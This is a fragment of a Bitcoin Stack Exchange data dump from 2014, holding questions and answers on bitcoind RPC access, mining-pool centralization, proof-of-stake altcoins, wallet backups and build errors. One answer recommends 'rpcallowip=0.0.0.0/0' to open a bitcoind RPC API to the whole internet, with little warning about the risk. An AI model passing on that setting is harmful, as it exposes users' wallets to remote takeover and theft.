LastActivityDate="2014-06-19T00:36:49.070" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27038" PostTypeId="2" ParentId="22391" CreationDate="2014-06-19T00:49:36.507" Score="1" Body="&lt;p&gt;It isnt clear what you're doing, and I get the impression that you dont speak english natively, so I doubt we're going to get a better explanation of what you're trying to do. Given your question I can only assume your RaspberryPi's IP is 192.168.178.40, it is running bitcoind, and your trying to access the API on it from a computer somewhere on the internet (because you mention dyn-dns), and that there is a router in front of the RaspberryPi performing NAT. If you want any computer on the internet to be able to access the API&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcallowip=0.0.0.0/0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or if you only want a single computer on the internet with a static IP to be able to access it, then you'd put in the IP address of that computer rather than the RaspberryPi's IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I got it wrong, try rephrasing your question, because as I said, we don't know how your network is configured.&lt;/p&gt;&#xA;" OwnerUserId="15695" LastEditorUserId="2306" LastEditDate="2014-09-17T03:03:12.617" LastActivityDate="2014-09-17T03:03:12.617" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27039" PostTypeId="1" AcceptedAnswerId="27043" CreationDate="2014-06-19T00:53:58.790" Score="7" ViewCount="196" Body="&lt;p&gt;Right before writing this question I noticed the GHashIO showing 32% hashrate distribution using the &lt;a href=&quot;https://blockchain.info/pools&quot; rel=&quot;nofollow&quot;&gt;following link&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unknown has 26%. And the IP address of the most blocks reported from unknown is: 88.150.205.243. After doing some digging it seems that the &lt;a href=&quot;http://totalhash.com/network/ip:88.150.205.243&quot; rel=&quot;nofollow&quot;&gt;IP address is owned by GhashIO&lt;/a&gt; according to &lt;a href=&quot;http://www.totalhash.com&quot; rel=&quot;nofollow&quot;&gt;totalhash&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure how reliable the data from &lt;a href=&quot;http://www.totalhash.com&quot; rel=&quot;nofollow&quot;&gt;totalhash&lt;/a&gt; is but it seems that GHashIO has already achieved above 51% total hashrate. Can someone confirm this? If it's false then what would be the proper way to investigate this in the future?&lt;/p&gt;&#xA;" OwnerUserId="18256" LastEditorUserId="2306" LastEditDate="2014-09-12T16:12:16.010" LastActivityDate="2014-09-12T16:12:16.010" Title="Does GHashIO already have above 51% hashrate?" Tags="|mining-pools|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27043" PostTypeId="2" ParentId="27039" CreationDate="2014-06-19T05:15:00.137" Score="3" Body="&lt;p&gt;When blockchain.info says that a block came from an IP address (for example, 88.150.205.243) it means that blockchain.info received this block from this IP address, but it can not determine which pool mined this block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also means that blockchain.info is connected with this peer node. There is a high probability that this node has many peers where blocks can come from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does not mean that this block was mined by this IP address.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="2306" LastEditDate="2014-08-31T14:35:46.463" LastActivityDate="2014-08-31T14:35:46.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27046" PostTypeId="5" CreationDate="2014-06-19T13:17:42.267" Score="0" Body="&lt;p&gt;For further reading, read the answer on &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/845/what-are-bitcoin-days-destroyed/847#847&quot;&gt;Bitcoin.SE&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15412" LastEditorUserId="38028" LastEditDate="2017-08-27T19:38:47.947" LastActivityDate="2017-08-27T19:38:47.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27047" PostTypeId="4" CreationDate="2014-06-19T13:17:42.267" Score="0" Body="Bitcoin days destroyed is a measurement of the transaction volume of Bitcoin." OwnerUserId="15412" LastEditorUserId="15412" LastEditDate="2014-06-25T08:46:52.897" LastActivityDate="2014-06-25T08:46:52.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27048" PostTypeId="2" ParentId="25706" CreationDate="2014-06-19T15:02:35.817" Score="5" Body="&lt;p&gt;Blackcoin is a fork of Novacoin which is a fork of Peercoin which is a fork of Bitcoin.&lt;/p&gt;&#xA;&lt;p&gt;In &lt;a href=&quot;https://bitcoin.stackexchange.com/a/22945/5107&quot;&gt;your own answer&lt;/a&gt; on how PoS mining functions is the answer to this question:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;For Peercoin specifically, PoW and PoS blocks are independent. Just as you're betting your consumed electricity and CPU-time vs. the possible PoW-blok's reward, in the PoS blocks you're betting your coin-age: the amount oF PPC you own multiplied by the number of days they've sitted idly at your wallet. It must be a minimum of 30 and a maximum of 90 days for your coins to start generating tickets for the PoS raffle.&lt;/p&gt;&#xA;&lt;p&gt;Should your ticket win, you earn 1% interest and lose all your coin-age, so your coins are, from the network POV, as though you had just received them. I.e. you'll need to wait another 30 days for them to be able to pay you interest again. Over time, though, you're just supposed to earn about 1% annually.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Honest nodes will only attempt to generate blocks if their stake is below the limit.  This cuts down on traffic immensely.  Looking out for violators cuts down on DoS as well which has only strangely been recently implemented in some coins.&lt;/p&gt;&#xA;&lt;p&gt;I could find &lt;a href=&quot;https://github.com/rat4/blackcoin/compare/novacoin-project:master...master&quot; rel=&quot;nofollow noreferrer&quot;&gt;no major deviations from NovaCoin&lt;/a&gt; except for a &lt;a href=&quot;https://github.com/rat4/blackcoin/commit/f812244c43898bbfcae347352b8fbe5aef01afc0&quot; rel=&quot;nofollow noreferrer&quot;&gt;decreased block spacing&lt;/a&gt; which may or may not apply to the PoS portion, &lt;a href=&quot;https://github.com/rat4/blackcoin/commit/4cac471a3a8639be492bcc5198329420a949bf8e&quot; rel=&quot;nofollow noreferrer&quot;&gt;faster&lt;/a&gt; coin &lt;a href=&quot;https://github.com/rat4/blackcoin/commit/b124ebb6900bd07d86ef9a4565439bdbe070a75c&quot; rel=&quot;nofollow noreferrer&quot;&gt;maturity&lt;/a&gt;, and a few additions to &lt;a href=&quot;https://github.com/rat4/blackcoin/compare/novacoin-project:master...master#diff-9a82240fe7dfe86564178691cc57f2f1R45&quot; rel=&quot;nofollow noreferrer&quot;&gt;net.cpp&lt;/a&gt; communications.&lt;/p&gt;&#xA;&lt;p&gt;I have found no posts complaining about orphan blocks or any remarking that there are few except for this question.&lt;/p&gt;&#xA;&lt;p&gt;I have found a few posts claiming that PoS will create extra traffic but nothing to substantiate it.&lt;/p&gt;&#xA;&lt;p&gt;In short, BlackCoin appears to be the PoS Fastcoin, and throttled PoS will produce no more bandwidth consumption than PoW.&lt;/p&gt;&#xA;&lt;h1&gt;Throttling mechanisms&lt;/h1&gt;&#xA;&lt;h2&gt;NXT&lt;/h2&gt;&#xA;&lt;p&gt;NXT is &lt;a href=&quot;https://bitcointalk.org/index.php?topic=364218.msg3888740#msg3888740&quot; rel=&quot;nofollow noreferrer&quot;&gt;much more controlled&lt;/a&gt; than the other PoS coins:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;What does this transparency mean? It means that anyone can predict (with very high probability) who and when will generate next block(s). And this gives us superior advantages:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Transactions can be sent directly to the miner who will mine the next block (if he decides to reveal his location on the Internet), thus saving traffic and coming much closer to VISA/MasterCard processing volumes.&lt;/li&gt;&#xA;&lt;li&gt;Blocks can be generated in advance and sent to most of the miners before they become valid (timestamp validation), thus greatly reducing rate of orphaned blocks.&lt;/li&gt;&#xA;&lt;li&gt;Due to ability to predict timestamps of future blocks (rate of blocks) it becomes possible to set appropriate fees to assure quick confirmations for important transactions (without paying too much for inclusion into a block).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h2&gt;NovaCoin&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/novacoin-project/novacoin/wiki/Proof-of-stake&quot; rel=&quot;nofollow noreferrer&quot;&gt;This&lt;/a&gt; will seem more familiar:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Novacoin uses the mixed Coin-Age/CoinDayWeight approach to provide proofs of the stake. The proof-of-stake difficulty is adjusted so as to limit the rate at which new blocks can be generated by the network to 10 minutes target spacing rate. Due to the very low probability of successful proof generation, this makes it unpredictable which computer in the network will be able to generate the next solution.&lt;/p&gt;&#xA;&lt;p&gt;It's performed through scanning all available inputs in order to find lucky one that satisfies following condition:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;SHA256(SHA256(KERNEL)) &amp;lt; CoinDayWeight *  NetworkTarget&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Miner has to find a SHA256 hash that is under the target value.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In NovaCoin's case, it's still a little PoWish, but traffic is cut down because those who cannot mine because of insufficient stake either don't or are blacklisted for violating the rules.&lt;/p&gt;&#xA;&lt;p&gt;Once a node has a conforming block, it stops working on that block index and moves to the next.  Eventually, no one is left working on the wrong chain.&lt;/p&gt;&#xA;&lt;h2&gt;BlackCoin&lt;/h2&gt;&#xA;&lt;p&gt;Based upon the above inspection of the code which is a fork of NovaCoin, BlackCoin works in an almost identical way except the spacing is tuned way down, and there are a few network enhancements to make the network a little stricter.&lt;/p&gt;&#xA;&lt;p&gt;As a side note, based upon &lt;a href=&quot;http://bitinfocharts.com/comparison/confirmationtime-bc.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitinfocharts's calculations&lt;/a&gt;, the 10 second advertisement is never met on average and is more like a lower bound; however, the intended spacing is one minute, so either the spacing formula is wrong, or PoS is actually so performant that it has busted the formula.&lt;/p&gt;&#xA;&lt;h1&gt;Ophan management&lt;/h1&gt;&#xA;&lt;p&gt;NXT is the extreme case.  My guess is that it rarely has any orphan blocks because the subsequent miner is selected, so an orphan is generated from a network malfunction rather than by design.&lt;/p&gt;&#xA;&lt;p&gt;NovaCoin's first line of defense is PoS which limits the number of potential miners.  Since the longest conforming chain is accepted just as with PoW, hashpower dedicated to a losing chain is reduced for each now block index.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorUserId="-1" LastEditorDisplayName="user5107" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-07-02T15:05:01.010" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27050" PostTypeId="5" CreationDate="2014-06-19T17:42:40.773" Score="0" Body="&lt;p&gt;CoinJoin is a method for mixing coins in a transaction. The idea is that several users wanting to send funds co-ordinate their intentions by collating the inputs to their transactions so that a &quot;master transaction&quot; can be built. Once that's done then they verify it contains what they need in terms of outputs and change and sign the transaction. Only when all the users have signed it then it can be relayed to the network for inclusion in a block.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastEditorUserId="17113" LastEditDate="2014-06-25T08:45:59.687" LastActivityDate="2014-06-25T08:45:59.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27051" PostTypeId="4" CreationDate="2014-06-19T17:42:40.773" Score="0" Body="Coinjoin allows people to combine their transactions with random other people to increase privacy." OwnerUserId="17113" LastEditorUserId="5406" LastEditDate="2014-06-25T08:46:37.803" LastActivityDate="2014-06-25T08:46:37.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27053" PostTypeId="2" ParentId="19834" CreationDate="2014-06-20T06:39:33.210" Score="2" Body="&lt;p&gt;&lt;code&gt;wallet-unenc-backup&lt;/code&gt; contains the backups that were created &lt;em&gt;before&lt;/em&gt; you set a password. Since MultiBit creates a backup each time it adds a key, and it doesn't seem possible for a wallet to be encrypted from the start (before the first key is added), there will always be at least one of these. Once the wallet is encrypted, no further backups will go here. You can verify this by checking the timestamps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Jim says, MultiBit goes back and encrypts these old backups when you first set a password, but note that it's a different method of encryption from the regular wallet, hence the .cipher extension. A regular .wallet is a protobuf file (serialization of Java objects), inside which the public keys are stored in cleartext and private keys are encrypted individually. Whereas the .cipher is a custom format that encrypts the previous file's contents as a whole. (I assume they did it this way to avoid messing with old backups any more than strictly necessary.) I was mystified like you, so I found the format in the source:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// The format of the encrypted data is:&#xA;// 7 magic bytes 'mendoza' in ASCII.&#xA;// 1 byte version number of format - initially set to 0&#xA;// 8 bytes salt&#xA;// 16 bytes iv&#xA;// rest of file is the encrypted byte data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then there's yet a third encryption format for exported private keys: &lt;a href=&quot;http://test.multibit.org/en/help/v0.5/help_exportingPrivateKeys.html&quot; rel=&quot;nofollow&quot;&gt;http://test.multibit.org/en/help/v0.5/help_exportingPrivateKeys.html&lt;/a&gt;. My preference is to delete the &quot;unenc&quot; stuff, as it's an unneeded extra copy of sensitive information that just adds confusion. (Needless to say, don't delete any wallet related files unless you know exactly what you're doing!)&lt;/p&gt;&#xA;" OwnerUserId="18303" LastActivityDate="2014-06-20T06:39:33.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27054" PostTypeId="1" AcceptedAnswerId="28148" CreationDate="2014-06-20T06:50:29.457" Score="3" ViewCount="211" Body="&lt;p&gt;More specifically, how do I derive the return address from the Output field in a protocol buffer Payment object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can convert the serialized byte string from the 'script' field of the Output into a 25 character scriptPubKey but I'm stuck as to where to go from here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help greatly appreciated :)&lt;/p&gt;&#xA;" OwnerUserId="15533" LastEditorUserId="2306" LastEditDate="2014-12-13T05:58:32.160" LastActivityDate="2014-12-30T03:47:53.803" Title="How to handle return address Output field using bitcoin bip 70?" Tags="|bitcoind|bip70-payment-protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27055" PostTypeId="1" CreationDate="2014-06-20T06:56:21.137" Score="3" ViewCount="916" Body="&lt;p&gt;I have a testnet connection with 3 clients. When I am doing getpeerinfo on 1 I am getting &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[&#xA;&#xA;    {&#xA;        &quot;addr&quot; : &quot;172.20.61.111:63379&quot;,&#xA;        &quot;services&quot; : &quot;00000001&quot;,&#xA;        &quot;lastsend&quot; : 1403246741,&#xA;        &quot;lastrecv&quot; : 1403246743,&#xA;        &quot;bytessent&quot; : 1074,&#xA;        &quot;bytesrecv&quot; : 1098,&#xA;        &quot;conntime&quot; : 1403246741,&#xA;        &quot;pingtime&quot; : 0.00000000,&#xA;        &quot;version&quot; : 70002,&#xA;        &quot;subver&quot; : &quot;/Satoshi:0.9.2/&quot;,&#xA;        &quot;inbound&quot; : true,&#xA;        &quot;startingheight&quot; : 56114,&#xA;        &quot;banscore&quot; : 0,&#xA;        &quot;syncnode&quot; : true&#xA;    },&#xA;    {&#xA;        &quot;addr&quot; : &quot;172.20.53.82:63416&quot;,&#xA;        &quot;services&quot; : &quot;00000001&quot;,&#xA;        &quot;lastsend&quot; : 1403246741,&#xA;        &quot;lastrecv&quot; : 1403246743,&#xA;        &quot;bytessent&quot; : 149,&#xA;        &quot;bytesrecv&quot; : 1098,&#xA;        &quot;conntime&quot; : 1403246741,&#xA;        &quot;pingtime&quot; : 0.00000000,&#xA;        &quot;version&quot; : 70002,&#xA;        &quot;subver&quot; : &quot;/Satoshi:0.9.2/&quot;,&#xA;        &quot;inbound&quot; : true,&#xA;        &quot;startingheight&quot; : 56114,&#xA;        &quot;banscore&quot; : 0,&#xA;        &quot;syncnode&quot; : false&#xA;    }&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as a result of syncnode false this node is not syncing. How do I fix this?&lt;/p&gt;&#xA;" OwnerUserId="18307" LastEditorUserId="2306" LastEditDate="2015-02-13T03:48:28.610" LastActivityDate="2015-02-15T23:27:40.937" Title="How to set syncnode of a peer to true?" Tags="|synchronization|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27056" PostTypeId="1" AcceptedAnswerId="27057" CreationDate="2014-06-20T13:16:39.487" Score="3" ViewCount="1157" Body="&lt;p&gt;I am new to the crypto-coin mining. If I am mining with my own hardware, is there any difference if I join slush or gash.io? Any difference in payment? There are lot of posts that says to stay away from gash.io because of the 51% share but currently they contribute around 34% only. Should we worry about that? The thing about that is more like if everyone started to mine using gash.io it will become centralized which looses out the decentralized nature of Bitcoin right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there is the CEX.io which provides GH/s for certain BTC. But since the difficulty increases over time, the GH/s value reduces. The GH/s will mine forever but wouldn't there be a time where that power cannot do any significant mining? Isn't the case with custom hardware too? Can you elaborate on that.&lt;/p&gt;&#xA;" OwnerUserId="3952" LastEditorUserId="5406" LastEditDate="2016-04-17T20:13:17.507" LastActivityDate="2016-04-17T20:13:17.507" Title="Is there any difference in pool mining with gash.io over slush?" Tags="|mining-pools|mining-profitability|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27057" PostTypeId="2" ParentId="27056" CreationDate="2014-06-20T13:49:42.227" Score="2" Body="&lt;p&gt;Slush has a &lt;a href=&quot;https://mining.bitcoin.cz/&quot; rel=&quot;nofollow noreferrer&quot;&gt;2% fee&lt;/a&gt;, and GHash.IO has &lt;a href=&quot;https://en.bitcoin.it/wiki/GHash.IO&quot; rel=&quot;nofollow noreferrer&quot;&gt;no fee&lt;/a&gt;. So that's a 2% difference for starters. There would be no difference in GH/s, because that solely depends on your hardware and tweaks. There is a difference of paying between the two, Slush uses Score, and GHash.IO uses PPLNS. An explanation from these two from &lt;a href=&quot;https://en.bitcoin.it/wiki/Comparison_of_mining_pools&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. You can choose whichever you like.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Score&lt;/strong&gt; - Score based system: a proportional reward, but weighed by time submitted. Each submitted share is worth more in the function of time t since start of current round. For each share score is updated by: score += exp(t/C). This makes later shares worth much more than earlier shares, thus the miner's score quickly diminishes when they stop mining on the pool. Rewards are calculated proportionally to scores (and not to shares). (at slush's pool C=300 seconds, and every hour scores are normalized)&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;PPLNS&lt;/strong&gt; - Pay Per Last N Shares. Similar to proportional, but instead of looking at the number of shares in the round, instead looks at the last N shares, regardless of round boundaries.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://blockchain.info/pools&quot; rel=&quot;nofollow noreferrer&quot;&gt;blockchain&lt;/a&gt; GHash.IO indeed has ±36% hashing power. But someone &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/27039/does-ghashio-already-have-above-51-hashrate&quot;&gt;digged&lt;/a&gt; into the 'other' sources, and saw that some blocks came from IP-addresses owned by GHash.IO, but it doesn't mean that the block is indeed mined by GHash.IO. I think it is nothing to worry about for now, but GHash.IO shouldn't keep 51% of the hashrate for longer time. Then it indeed isn't decentralised, and the coin is vulnerable for a 51% attack.&lt;/p&gt;&#xA;&lt;p&gt;I don't know how the CEX.IO works precisely, but you're right about the part the a certain amount of GH/s will return less BTC as the difficulty goes up. But as long as they upgrade the hardware, and get new equipment with a better GH/s/W ratio, it should still be profitable. If it isn't for a big company like them, it certainly isn't for individuals. They will stop, which makes the difficulty not increasing as much, and therefor new equipment will be more rewarding. If you mean that the GH/s you bought isn't worth it, you are right too. As the difficulty rises, the rewarded BTC is going down.&lt;/p&gt;&#xA;" OwnerUserId="15412" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-06-20T13:49:42.227" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27059" PostTypeId="2" ParentId="21375" CreationDate="2014-06-20T16:07:11.843" Score="3" Body="&lt;p&gt;Making an RPC call per transaction adds a lot of overhead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not clear exactly what you mean by 'all transactions', but I'll assume you have a way of identifying 'all blocks' for which you want the transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can reduce the overhead, then, to one RPC call per block, by using getblock with the second option (verbose) set to false (getblock &lt;em&gt;blockhash&lt;/em&gt; false), and then parsing the raw block data directly yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a bit of work involved in parsing the raw block data yourself, but if you're already working with raw transaction data then I guess you may already have the code to do the relevant decoding.&#xA;If not, it's not too hard to set this up, in any case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side effect, note that the full transaction index (txindex=1) is no longer required with this method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've written about this specific issue in more detail in &lt;a href=&quot;http://upcoder.com/8/fast-blockchain-scanning/&quot; rel=&quot;nofollow&quot;&gt;this blog post&lt;/a&gt;, so check this post for more details, and some example code..&lt;/p&gt;&#xA;" OwnerUserId="13754" LastActivityDate="2014-06-20T16:07:11.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27060" PostTypeId="2" ParentId="27039" CreationDate="2014-06-20T17:42:08.947" Score="0" Body="&lt;p&gt;The operator also said that if he gets close to 51%, he'll pull everyone mining on the Getwork protocol, which will reduce their rate by about 10%. &lt;/p&gt;&#xA;" OwnerUserId="18311" LastActivityDate="2014-06-20T17:42:08.947" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27061" PostTypeId="1" CreationDate="2014-06-20T19:33:40.143" Score="0" ViewCount="628" Body="&lt;p&gt;I think I managed to get all my dependencies and libraries right (fingers crossed), but now when trying to build blackcoin-qt, the QTSdk compiler gives me this error while building qtipcserver.o:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;In function 'bool boost::interprocess::winapi::unlink_file(const char*)':&#xA;internal compiler error: in gimple_rhs_has_side_effects, at gimple.c:2343&#xA;[build/qtipcserver.o] Error1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The unlink_file function is on line 1638 of win32_api.hpp in the boost library. This seems like a GCC error, any ideas?&lt;/p&gt;&#xA;" OwnerUserId="10229" LastEditorUserId="10229" LastEditDate="2014-06-20T19:38:55.270" LastActivityDate="2014-11-21T22:14:51.560" Title="Error compiling altcoin-qt for Windows, getting a GCC internal compiler error" Tags="|wallet|bitcoin-core|development|protocol|altcoin|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27062" PostTypeId="2" ParentId="12920" CreationDate="2014-06-20T21:39:32.143" Score="0" Body="&lt;p&gt;Isn't it just how Proof-of-stake altcoins works?&#xA;In those systems, your wallet amount grows as the time passes. Ie: 10% over a year.&#xA;I think this is very similar to bitcoindaysdestroyed-coin.&lt;/p&gt;&#xA;" OwnerUserId="9563" LastActivityDate="2014-06-20T21:39:32.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27063" PostTypeId="1" CreationDate="2014-06-20T23:34:48.207" Score="0" ViewCount="6285" Body="&lt;p&gt;I have one computer set up and solo mining away. The bitcoin client is running in server mode, and bfgminer connects to it with &lt;code&gt;-o 127.0.0.1:8332&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a second computer that I'd also like to mine with too, but using the first computer as the server, so that I only need one instance of the blockchain/bitcoin client. Is that possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to connect to it with &lt;code&gt;-o 192.168.1.8332&lt;/code&gt;, which my router tells me is its network address. But bfgminer fails, saying that I probably got the address wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The firewall is allowing bitcoin-qt.exe through, and I set it to allow port 8332 too, just in case.&lt;/p&gt;&#xA;" OwnerUserId="11638" LastEditorUserId="5406" LastEditDate="2016-03-05T15:04:36.190" LastActivityDate="2018-03-24T20:08:18.713" Title="Mining on your own network, or creating your own mini pool" Tags="|solo-mining|miner-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28063" PostTypeId="1" CreationDate="2014-06-21T00:54:52.780" Score="0" ViewCount="2869" Body="&lt;p&gt;After working my way through many errors compiling an alt-coin windows qt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything compiles fine right until the final stage when the system is putting together the exe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the error below. leveldb is installed and libleveldb.a and libmemenv.a files are correctly in src/leveldb ... Any help resolving this issue would be appreciated. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uuid -lgdi32 -lboost_system-mgw48-mt-1_54 -lboost_filesystem-mgw48-mt-1_54 -lboo&#xA;st_program_options-mgw48-mt-1_54 -lboost_thread-mgw48-mt-1_54 -lboost_chrono-mgw&#xA;48-mt-1_54 -lQtGui4 -lQtCore4&#xA;./build\txdb-leveldb.o:txdb-leveldb.cpp:(.text+0x433): undefined reference to `l&#xA;eveldb::DB::Open(leveldb::Options const&amp;amp;, std::string const&amp;amp;, leveldb::DB**)'&#xA;./build\txdb-leveldb.o:txdb-leveldb.cpp:(.text+0x73f): undefined reference to `l&#xA;eveldb::Status::ToString() const'&#xA;./build\txdb-leveldb.o:txdb-leveldb.cpp:(.text+0x866): undefined reference to `l&#xA;eveldb::WriteBatch::~WriteBatch()'&#xA;./build\txdb-leveldb.o:txdb-leveldb.cpp:(.text+0x89f): undefined reference to `l&#xA;eveldb::WriteBatch::WriteBatch()'&#xA;./build\txdb-leveldb.o:txdb-leveldb.cpp:(.text+0x921): undefined reference to `l&#xA;eveldb::WriteBatch::~WriteBatch()'&#xA;./build\txdb-leveldb.o:txdb-leveldb.cpp:(.text+0x944): undefined reference to `l&#xA;eveldb::Status::ToString() const'&#xA;./build\txdb-leveldb.o:txdb-leveldb.cpp:(.text+0xac4): undefined reference to `l&#xA;eveldb::WriteBatch::Iterate(leveldb::WriteBatch::Handler*) const'&#xA;./build\txdb-leveldb.o:txdb-leveldb.cpp:(.text+0xaf5): undefined reference to `l&#xA;eveldb::WriteBatch::Handler::~Handler()'&#xA;./build\txdb-leveldb.o:txdb-leveldb.cpp:(.text+0xb24): undefined reference to `l&#xA;eveldb::Status::ToString() const'&#xA;./build\txdb-leveldb.o:txdb-leveldb.cpp:(.text+0x14a9): undefined reference to `&#xA;leveldb::Status::ToString() const'&#xA;./build\txdb-leveldb.o:txdb-leveldb.cpp:(.text+0x176f): undefined reference to `&#xA;leveldb::WriteBatch::Put(leveldb::Slice const&amp;amp;, leveldb::Slice const&amp;amp;)'&#xA;./build\txdb-leveldb.o:txdb-leveldb.cpp:(.text+0x18b2): undefined reference to `&#xA;leveldb::Status::ToString() const'&#xA;./build\txdb-leveldb.o:txdb-leveldb.cpp:(.text+0x1a57): undefined reference to `&#xA;leveldb::Options::Options()'&#xA;./build\txdb-leveldb.o:txdb-leveldb.cpp:(.text+0x1ae0): undefined reference to `&#xA;leveldb::Options::Options()'&#xA;./build\txdb-leveldb.o:txdb-leveldb.cpp:(.text+0x1b35): undefined reference to `&#xA;leveldb::NewLRUCache(unsigned int)'&#xA;./build\txdb-leveldb.o:txdb-leveldb.cpp:(.text+0x1b44): undefined reference to `&#xA;leveldb::NewBloomFilterPolicy(int)'&#xA;./build\txdb-leveldb.o:txdb-leveldb.cpp:(.text+0x1b9c): undefined reference to `&#xA;leveldb::NewBloomFilterPolicy(int)'&#xA;./build\txdb-leveldb.o:txdb-leveldb.cpp:(.text+0x2021): undefined reference to `&#xA;leveldb::WriteBatch::~WriteBatch()'&#xA;./build\txdb-leveldb.o:txdb-leveldb.cpp:(.text+0x211d): undefined reference to `&#xA;leveldb::Status::ToString() const'&#xA;./build\txdb-leveldb.o:txdb-leveldb.cpp:(.text+0x35c3): undefined reference to `&#xA;leveldb::WriteBatch::Delete(leveldb::Slice const&amp;amp;)'&#xA;./build\txdb-leveldb.o:txdb-leveldb.cpp:(.text+0x6488): undefined reference to `&#xA;leveldb::WriteBatch::~WriteBatch()'&#xA;./build\txdb-leveldb.o:txdb-leveldb.cpp:(.text+0x64b8): undefined reference to `&#xA;leveldb::WriteBatch::~WriteBatch()'&#xA;c:/mingw/bin/../lib/gcc/mingw32/4.8.1/../../../../mingw32/bin/ld.exe: ./build\tx&#xA;db-leveldb.o: bad reloc address 0x2 in section `.text$_ZN5boost16exception_detai&#xA;l10clone_baseD1Ev[__ZN5boost16exception_detail10clone_baseD1Ev]'&#xA;c:/mingw/bin/../lib/gcc/mingw32/4.8.1/../../../../mingw32/bin/ld.exe: final link&#xA; failed: Invalid operation&#xA;collect2.exe: error: ld returned 1 exit status&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18314" LastEditorUserId="7043" LastEditDate="2014-06-24T19:46:38.543" LastActivityDate="2018-03-27T08:39:00.387" Title="Got an issue compiling" Tags="|development|altcoin|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28065" PostTypeId="5" CreationDate="2014-06-21T08:39:11.047" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-06-21T08:39:11.047" LastActivityDate="2014-06-21T08:39:11.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
